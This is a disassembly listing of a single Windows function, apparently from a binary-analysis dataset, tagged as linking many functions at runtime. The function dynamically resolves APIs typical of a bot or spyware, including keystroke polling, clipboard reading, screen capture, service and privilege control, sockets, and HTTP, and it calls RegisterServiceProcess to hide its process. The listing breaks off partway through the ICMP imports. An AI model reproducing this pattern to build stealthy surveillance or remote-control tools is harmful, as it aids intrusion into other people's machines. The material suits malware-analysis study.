Function at 0x40d28c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40d494
mov dword [esp + 4], str.SetErrorMode
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecc0], eax
mov dword [esp + 4], str.CreateToolhelp32Snapshot
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecc4], eax
mov dword [esp + 4], str.Process32First
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecc8], eax
mov dword [esp + 4], str.Process32Next
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eccc], eax
mov dword [esp + 4], str.Module32First
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecd0], eax
mov dword [esp + 4], str.GetDiskFreeSpaceExA
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecd4], eax
mov dword [esp + 4], str.GetLogicalDriveStringsA
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecd8], eax
mov dword [esp + 4], str.GetDriveTypeA
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecdc], eax
mov dword [esp + 4], str.SearchPathA
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ece0], eax
mov dword [esp + 4], str.QueryPerformanceCounter
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ece4], eax
mov dword [esp + 4], str.QueryPerformanceFrequency
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ece8], eax
mov eax, dword [0x44ecc0]
test eax, eax
je 0x40d449
mov eax, dword [0x44ecc4]
test eax, eax
je 0x40d449
mov eax, dword [0x44ecc8]
test eax, eax
je 0x40d449
mov eax, dword [0x44eccc]
test eax, eax
je 0x40d449
mov eax, dword [0x44ecd4]
test eax, eax
je 0x40d449
mov eax, dword [0x44ecd8]
test eax, eax
je 0x40d449
mov eax, dword [0x44ecdc]
test eax, eax
je 0x40d449
mov eax, dword [0x44ece0]
test eax, eax
je 0x40d449
mov eax, dword [0x44ece4]
test eax, eax
je 0x40d449
mov eax, dword [0x44ece8]
test eax, eax
jne 0x40d453
mov dword [0x44eeb4], 1
mov dword [esp + 4], str.RegisterServiceProcess
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecec], eax
mov eax, dword [0x44ecec]
test eax, eax
je 0x40d4aa
mov eax, dword [0x44ecec]
mov dword [esp + 4], 1
mov dword [esp], 0
call eax
sub esp, 8
jmp 0x40d4aa
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eeb8], eax
mov dword [0x44eeb4], 1
mov dword [esp], str.user32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40d6a6
mov dword [esp + 4], str.SendMessageA
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecf0], eax
mov dword [esp + 4], str.FindWindowA
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecf4], eax
mov dword [esp + 4], str.IsWindow
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecf8], eax
mov dword [esp + 4], str.DestroyWindow
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ecfc], eax
mov dword [esp + 4], str.OpenClipboard
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed00], eax
mov dword [esp + 4], str.GetClipboardData
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed04], eax
mov dword [esp + 4], str.CloseClipboard
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed08], eax
mov dword [esp + 4], str.ExitWindowsEx
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed0c], eax
mov eax, dword [0x44ecf0]
test eax, eax
je 0x40d5f8
mov eax, dword [0x44ecf4]
test eax, eax
je 0x40d5f8
mov eax, dword [0x44ecf8]
test eax, eax
je 0x40d5f8
mov eax, dword [0x44ecfc]
test eax, eax
je 0x40d5f8
mov eax, dword [0x44ed00]
test eax, eax
je 0x40d5f8
mov eax, dword [0x44ed04]
test eax, eax
je 0x40d5f8
mov eax, dword [0x44ed08]
test eax, eax
je 0x40d5f8
mov eax, dword [0x44ed0c]
test eax, eax
jne 0x40d602
mov dword [0x44eebc], 1
mov dword [esp + 4], str.GetAsyncKeyState
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed10], eax
mov dword [esp + 4], str.GetKeyState
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed14], eax
mov dword [esp + 4], str.GetWindowTextA
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed18], eax
mov dword [esp + 4], str.GetForegroundWindow
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed1c], eax
mov eax, dword [0x44ed10]
test eax, eax
je 0x40d69a
mov eax, dword [0x44ed14]
test eax, eax
je 0x40d69a
mov eax, dword [0x44ed18]
test eax, eax
je 0x40d69a
mov eax, dword [0x44ed1c]
test eax, eax
jne 0x40d6bc
mov dword [0x44eebc], 1
jmp 0x40d6bc
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eec0], eax
mov dword [0x44eebc], 1
mov dword [esp], str.advapi32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40d9b0
mov dword [esp + 4], str.RegOpenKeyExA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed20], eax
mov dword [esp + 4], str.RegCreateKeyExA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed24], eax
mov dword [esp + 4], str.RegSetValueExA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed28], eax
mov dword [esp + 4], str.RegQueryValueExA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed2c], eax
mov dword [esp + 4], str.RegDeleteValueA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed30], eax
mov dword [esp + 4], str.RegCloseKey
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed34], eax
mov eax, dword [0x44ed20]
test eax, eax
je 0x40d7be
mov eax, dword [0x44ed24]
test eax, eax
je 0x40d7be
mov eax, dword [0x44ed28]
test eax, eax
je 0x40d7be
mov eax, dword [0x44ed2c]
test eax, eax
je 0x40d7be
mov eax, dword [0x44ed30]
test eax, eax
je 0x40d7be
mov eax, dword [0x44ed34]
test eax, eax
jne 0x40d7c8
mov dword [0x44eec4], 1
mov dword [esp + 4], str.OpenProcessToken
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed38], eax
mov dword [esp + 4], str.LookupPrivilegeValueA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed3c], eax
mov dword [esp + 4], str.AdjustTokenPrivileges
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed40], eax
mov eax, dword [0x44ed38]
test eax, eax
je 0x40d83a
mov eax, dword [0x44ed3c]
test eax, eax
je 0x40d83a
mov eax, dword [0x44ed40]
test eax, eax
jne 0x40d844
mov dword [0x44eec4], 1
mov dword [esp + 4], str.OpenSCManagerA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed44], eax
mov dword [esp + 4], str.OpenServiceA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed48], eax
mov dword [esp + 4], str.StartServiceA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed4c], eax
mov dword [esp + 4], str.ControlService
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed50], eax
mov dword [esp + 4], str.DeleteService
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed54], eax
mov dword [esp + 4], str.CloseServiceHandle
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed58], eax
mov dword [esp + 4], str.EnumServicesStatusA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed5c], eax
mov dword [esp + 4], str.IsValidSecurityDescriptor
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed60], eax
mov eax, dword [0x44ed44]
test eax, eax
je 0x40d974
mov eax, dword [0x44ed48]
test eax, eax
je 0x40d974
mov eax, dword [0x44ed4c]
test eax, eax
je 0x40d974
mov eax, dword [0x44ed50]
test eax, eax
je 0x40d974
mov eax, dword [0x44ed54]
test eax, eax
je 0x40d974
mov eax, dword [0x44ed58]
test eax, eax
je 0x40d974
mov eax, dword [0x44ed5c]
test eax, eax
je 0x40d974
mov eax, dword [0x44ed60]
test eax, eax
jne 0x40d97e
mov dword [0x44eec4], 1
mov dword [esp + 4], str.GetUserNameA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed64], eax
mov eax, dword [0x44ed64]
test eax, eax
jne 0x40d9c6
mov dword [0x44eec4], 1
jmp 0x40d9c6
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eec8], eax
mov dword [0x44eec4], 1
mov dword [esp], str.gdi32.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40db46
mov dword [esp + 4], str.CreateDCA
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed68], eax
mov dword [esp + 4], str.CreateDIBSection
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed6c], eax
mov dword [esp + 4], str.CreateCompatibleDC
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed70], eax
mov dword [esp + 4], str.GetDeviceCaps
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed74], eax
mov dword [esp + 4], str.GetDIBColorTable
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed78], eax
mov dword [esp + 4], str.SelectObject
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed7c], eax
mov dword [esp + 4], str.BitBlt
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed80], eax
mov dword [esp + 4], str.DeleteDC
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed84], eax
mov dword [esp + 4], str.DeleteObject
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed88], eax
mov eax, dword [0x44ed68]
test eax, eax
je 0x40db3a
mov eax, dword [0x44ed6c]
test eax, eax
je 0x40db3a
mov eax, dword [0x44ed70]
test eax, eax
je 0x40db3a
mov eax, dword [0x44ed74]
test eax, eax
je 0x40db3a
mov eax, dword [0x44ed78]
test eax, eax
je 0x40db3a
mov eax, dword [0x44ed7c]
test eax, eax
je 0x40db3a
mov eax, dword [0x44ed80]
test eax, eax
je 0x40db3a
mov eax, dword [0x44ed84]
test eax, eax
je 0x40db3a
mov eax, dword [0x44ed88]
test eax, eax
jne 0x40db5c
mov dword [0x44eecc], 1
jmp 0x40db5c
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eed0], eax
mov dword [0x44eecc], 1
mov dword [esp], str.ws2_32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40e039
mov dword [esp + 4], str.WSAStartup
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed8c], eax
mov dword [esp + 4], str.WSASocketA
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed90], eax
mov dword [esp + 4], str.WSAAsyncSelect
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed94], eax
mov dword [esp + 4], str.__WSAFDIsSet
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed98], eax
mov dword [esp + 4], str.WSAIoctl
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ed9c], eax
mov dword [esp + 4], str.WSAGetLastError
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eda0], eax
mov dword [esp + 4], str.WSACleanup
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eda4], eax
mov dword [esp + 4], str.socket
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eda8], eax
mov dword [esp + 4], str.ioctlsocket
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edac], eax
mov dword [esp + 4], str.connect
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edb0], eax
mov dword [esp + 4], str.inet_ntoa
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edb4], eax
mov dword [esp + 4], str.inet_addr
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edb8], eax
mov dword [esp + 4], str.htons
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edbc], eax
mov dword [esp + 4], str.htonl
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edc0], eax
mov dword [esp + 4], str.ntohs
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edc4], eax
mov dword [esp + 4], str.ntohl
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edc8], eax
mov dword [esp + 4], 0x440942
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edcc], eax
mov dword [esp + 4], str.sendto
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edd0], eax
mov dword [esp + 4], str.recv
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edd4], eax
mov dword [esp + 4], str.recvfrom
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edd8], eax
mov dword [esp + 4], str.bind
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44eddc], eax
mov dword [esp + 4], str.select
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ede0], eax
mov dword [esp + 4], str.listen
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ede4], eax
mov dword [esp + 4], str.accept
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ede8], eax
mov dword [esp + 4], str.setsockopt
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edec], eax
mov dword [esp + 4], str.getsockname
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edf0], eax
mov dword [esp + 4], str.gethostname
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edf4], eax
mov dword [esp + 4], str.gethostbyname
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edf8], eax
mov dword [esp + 4], str.gethostbyaddr
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44edfc], eax
mov dword [esp + 4], str.getpeername
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee00], eax
mov dword [esp + 4], str.closesocket
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee04], eax
mov eax, dword [0x44ed8c]
test eax, eax
je 0x40e02d
mov eax, dword [0x44ed90]
test eax, eax
je 0x40e02d
mov eax, dword [0x44ed94]
test eax, eax
je 0x40e02d
mov eax, dword [0x44ed9c]
test eax, eax
je 0x40e02d
mov eax, dword [0x44eda0]
test eax, eax
je 0x40e02d
mov eax, dword [0x44eda4]
test eax, eax
je 0x40e02d
mov eax, dword [0x44eda8]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edac]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edb0]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edb4]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edb8]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edbc]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edc0]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edc4]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edcc]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edd0]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edd4]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edd8]
test eax, eax
je 0x40e02d
mov eax, dword [0x44eddc]
test eax, eax
je 0x40e02d
mov eax, dword [0x44ede0]
test eax, eax
je 0x40e02d
mov eax, dword [0x44ede4]
test eax, eax
je 0x40e02d
mov eax, dword [0x44ede8]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edec]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edf0]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edf4]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edf8]
test eax, eax
je 0x40e02d
mov eax, dword [0x44edfc]
test eax, eax
je 0x40e02d
mov eax, dword [0x44ee04]
test eax, eax
jne 0x40e04f
mov dword [0x44eed4], 1
jmp 0x40e04f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eed8], eax
mov dword [0x44eed4], 1
mov dword [esp], str.wininet.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40e247
mov dword [esp + 4], str.InternetGetConnectedState
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee08], eax
mov dword [esp + 4], str.InternetGetConnectedStateEx
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee0c], eax
mov dword [esp + 4], str.HttpOpenRequestA
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee10], eax
mov dword [esp + 4], str.HttpSendRequestA
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee14], eax
mov dword [esp + 4], str.InternetConnectA
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee18], eax
mov dword [esp + 4], str.InternetOpenA
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee1c], eax
mov dword [esp + 4], str.InternetOpenUrlA
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee20], eax
mov dword [esp + 4], str.InternetCrackUrlA
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee24], eax
mov dword [esp + 4], str.InternetReadFile
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee28], eax
mov dword [esp + 4], str.InternetCloseHandle
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee2c], eax
mov eax, dword [0x44ee08]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee0c]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee10]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee14]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee18]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee1c]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee20]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee24]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee28]
test eax, eax
je 0x40e1e9
mov eax, dword [0x44ee2c]
test eax, eax
jne 0x40e1f3
mov dword [0x44eedc], 1
mov eax, dword [0x44ee1c]
test eax, eax
je 0x40e267
mov eax, dword [0x44ee1c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.Mozilla_4.0__compatible_
call eax
sub esp, 0x14
mov dword [0x44ee30], eax
mov eax, dword [0x44ee30]
test eax, eax
jne 0x40e267
mov dword [0x44ee30], 0
jmp 0x40e267
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [0x44eee0], eax
mov dword [0x44eedc], 1
mov dword [0x44ee30], 0
mov dword [esp], str.icmp.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40e2ff
mov dword [esp + 4], str.IcmpCreateFile
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee34], eax
mov dword [esp + 4], str.IcmpCloseHandle
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x44ee3c], eax
mov dword [esp + 4], str.IcmpSendEcho
